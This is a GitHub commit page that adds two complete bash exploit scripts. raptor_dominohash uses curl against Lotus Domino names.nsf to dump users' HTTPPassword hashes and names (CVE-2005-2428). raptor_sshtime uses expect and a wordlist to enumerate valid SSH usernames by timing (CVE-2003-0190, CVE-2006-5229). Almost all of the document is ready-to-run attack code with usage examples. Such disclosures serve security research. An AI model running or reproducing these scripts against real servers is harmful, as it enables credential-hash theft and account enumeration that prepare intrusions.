Skip to content

Commit 0e95659

Browse files
0xdea0xdea
authored
Add files via upload
1 parent a288a54 commit 0e95659

File tree

2 files changed

+221
-0
lines changed

2 files changed

+221
-0
lines changed

‎misc/raptor_dominohash

Lines changed: 137 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,137 @@
1+
#!/bin/bash
2+
3+
#
4+
# $Id: raptor_dominohash,v 1.3 2007/02/13 17:27:10 raptor Exp $
5+
#
6+
# raptor_dominohash - Lotus Domino R5/R6 HTTPPassword dump
7+
# Copyright (c) 2007 Marco Ivaldi <[email protected]>
8+
#
9+
# Lotus Domino R5 and R6 WebMail, with "Generate HTML for all fields" enabled,
10+
# stores sensitive data from names.nsf in hidden form fields, which allows
11+
# remote attackers to read the HTML source to obtain sensitive information such
12+
# as (1) the password hash in the HTTPPassword field, (2) the password change
13+
# date in the HTTPPasswordChangeDate field, (3) the client platform in the
14+
# ClntPltfrm field, (4) the client machine name in the ClntMachine field, and
15+
# (5) the client Lotus Domino release in the ClntBld field, a different
16+
# vulnerability than CVE-2005-2696 (CVE-2005-2428).
17+
#
18+
# According to testing, it's possible to dump all HTTPPassword hashes using the
19+
# $defaultview view instead of $users. This saves a considerable amount of time.
20+
#
21+
# The code may require some changes to properly work with your configuration.
22+
#
23+
# See also:
24+
# http://www.securiteinfo.com/outils/DominoHashBreaker.shtml
25+
#
26+
# Usage:
27+
# $ ./raptor_dominohash 192.168.0.202
28+
# [...]
29+
# Extracting the view entries...
30+
# Done! 656 unique entries have been found.
31+
# Now ready to dump password hashes...
32+
# [...]
33+
# [http://192.168.0.202/names.nsf/$defaultview/00DA2289CC118A854925715A000611A3]
34+
# FirstName: Foo
35+
# LastName: Bar
36+
# ShortName: fbar
37+
# HTTPPassword: (355E98E7C7B59BD810ED845AD0FD2FC4)
38+
# [...]
39+
#
40+
# Vulnerable platforms:
41+
# Lotus Domino R6 Webmail [tested]
42+
# Lotus Domino R5 Webmail [untested]
43+
# Lotus Domino R4 Webmail? [untested]
44+
#
45+
46+
# Some vars
47+
i=1
48+
tmp1=dominohash1.tmp
49+
tmp2=dominohash2.tmp
50+
51+
# Command line
52+
host=$1
53+
54+
# Local fuctions
55+
function header() {
56+
echo ""
57+
echo "raptor_dominohash - Lotus Domino R5/R6 HTTPPassword dump"
58+
echo "Copyright (c) 2007 Marco Ivaldi <[email protected]>"
59+
echo ""
60+
}
61+
62+
function footer() {
63+
echo ""
64+
exit 0
65+
}
66+
67+
function usage() {
68+
header
69+
echo "usage : ./raptor_dominohash <host>"
70+
echo "example: ./raptor_dominohash 192.168.0.202"
71+
footer
72+
}
73+
74+
function notfound() {
75+
header
76+
echo "error : curl not found"
77+
footer
78+
}
79+
80+
# Check if curl is there
81+
curl=`which curl 2>/dev/null`
82+
if [ $? -ne 0 ]; then
83+
notfound
84+
fi
85+
86+
# Input control
87+
if [ -z "$1" ]; then
88+
usage
89+
fi
90+
91+
# Remove temporary files
92+
rm -f $tmp1
93+
rm -f $tmp2
94+
95+
header
96+
97+
# Extract the view entries
98+
echo "Extracting the view entries..."
99+
while :
100+
do
101+
curl "http://${host}/names.nsf/\$defaultview?Readviewentries&Start=${i}" 2>/dev/null | grep unid >> $tmp1
102+
103+
# Check grep return value
104+
if [ $? -ne 0 ]; then
105+
break
106+
fi
107+
108+
# Go for the next page
109+
i=`expr $i + 30`
110+
echo -ne "\b\b\b\b\b\b\b\b$i"
111+
done
112+
113+
cat $tmp1 | awk -F'unid="' '{print $2}' | awk -F'"' '{print $1}' | sort | uniq > $tmp2
114+
115+
# Check if some view entries have been found
116+
if [ ! -s $tmp2 ]; then
117+
echo "No entries found on host ${host}!"
118+
footer
119+
fi
120+
echo -ne "\b\b\b\b\b\b\b\bDone! "
121+
echo "`wc -l ${tmp2} | awk '{print $1}'` unique entries have been found."
122+
echo ""
123+
124+
# Perform the hash dumping
125+
echo "Now ready to dump password hashes..."
126+
echo ""
127+
sleep 4
128+
for unid in `cat $tmp2`
129+
do
130+
echo "[http://${host}/names.nsf/\$defaultview/${unid}]"
131+
echo ""
132+
#curl "http://${host}/names.nsf/\$defaultview/${unid}?OpenDocument" 2>/dev/null | egrep '"FullName"|"HTTPPassword"'
133+
curl "http://${host}/names.nsf/\$defaultview/${unid}?OpenDocument" 2>/dev/null | egrep '"FirstName"|"LastName"|"ShortName"|"HTTPPassword"' | awk -F'input name="' '{print $2}' | awk -F'" type="hidden" value="' '{print $1 ":\t" $2}' | tr -d '">'
134+
echo ""
135+
done
136+
137+
footer

‎misc/raptor_sshtime

Lines changed: 84 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1 +1,85 @@
1+
#!/bin/bash
12

3+
#
4+
# $Id: raptor_sshtime,v 1.1 2007/02/13 16:29:38 raptor Exp $
5+
#
6+
# raptor_sshtime - [Open]SSH remote timing attack exploit
7+
# Copyright (c) 2006 Marco Ivaldi <[email protected]>
8+
#
9+
# OpenSSH-portable 3.6.1p1 and earlier with PAM support enabled immediately
10+
# sends an error message when a user does not exist, which allows remote
11+
# attackers to determine valid usernames via a timing attack (CVE-2003-0190).
12+
#
13+
# OpenSSH portable 4.1 on SUSE Linux, and possibly other platforms and versions,
14+
# and possibly under limited configurations, allows remote attackers to
15+
# determine valid usernames via timing discrepancies in which responses take
16+
# longer for valid usernames than invalid ones, as demonstrated by sshtime.
17+
# NOTE: as of 20061014, it appears that this issue is dependent on the use of
18+
# manually-set passwords that causes delays when processing /etc/shadow due to
19+
# an increased number of rounds (CVE-2006-5229).
20+
#
21+
# This is a simple shell script based on expect meant to remotely analyze
22+
# timing differences in sshd "Permission denied" replies. Depending on OpenSSH
23+
# version and configuration, it may lead to disclosure of valid usernames.
24+
#
25+
# Usage example:
26+
# [make sure the target hostkey has been approved before]
27+
# ./sshtime 192.168.0.1 dict.txt
28+
#
29+
30+
# Some vars
31+
port=22
32+
33+
# Command line
34+
host=$1
35+
dict=$2
36+
37+
# Local functions
38+
function head() {
39+
echo ""
40+
echo "raptor_sshtime - [Open]SSH remote timing attack exploit"
41+
echo "Copyright (c) 2006 Marco Ivaldi <[email protected]>"
42+
echo ""
43+
}
44+
45+
function foot() {
46+
echo ""
47+
exit 0
48+
}
49+
50+
function usage() {
51+
head
52+
echo "[make sure the target hostkey has been approved before]"
53+
echo ""
54+
echo "usage : ./sshtime <target> <wordlist>"
55+
echo "example: ./sshtime 192.168.0.1 dict.txt"
56+
foot
57+
}
58+
59+
function notfound() {
60+
head
61+
echo "error : expect interpreter not found!"
62+
foot
63+
}
64+
65+
# Check if expect is there
66+
expect=`which expect 2>/dev/null`
67+
if [ $? -ne 0 ]; then
68+
notfound
69+
fi
70+
71+
# Input control
72+
if [ -z "$2" ]; then
73+
usage
74+
fi
75+
76+
# Perform the bruteforce attack
77+
head
78+
79+
for user in `cat $dict`
80+
do
81+
echo -ne "$user@$host\t\t"
82+
(time -p $expect -c "log_user 0; spawn -noecho ssh -p $port $host -l $user; for {} 1 {} {expect -nocase \"password*\" {send \"dummy\r\"} eof {exit}}") 2>&1 | grep real
83+
done
84+
85+
foot

0 commit comments

Comments
 (0)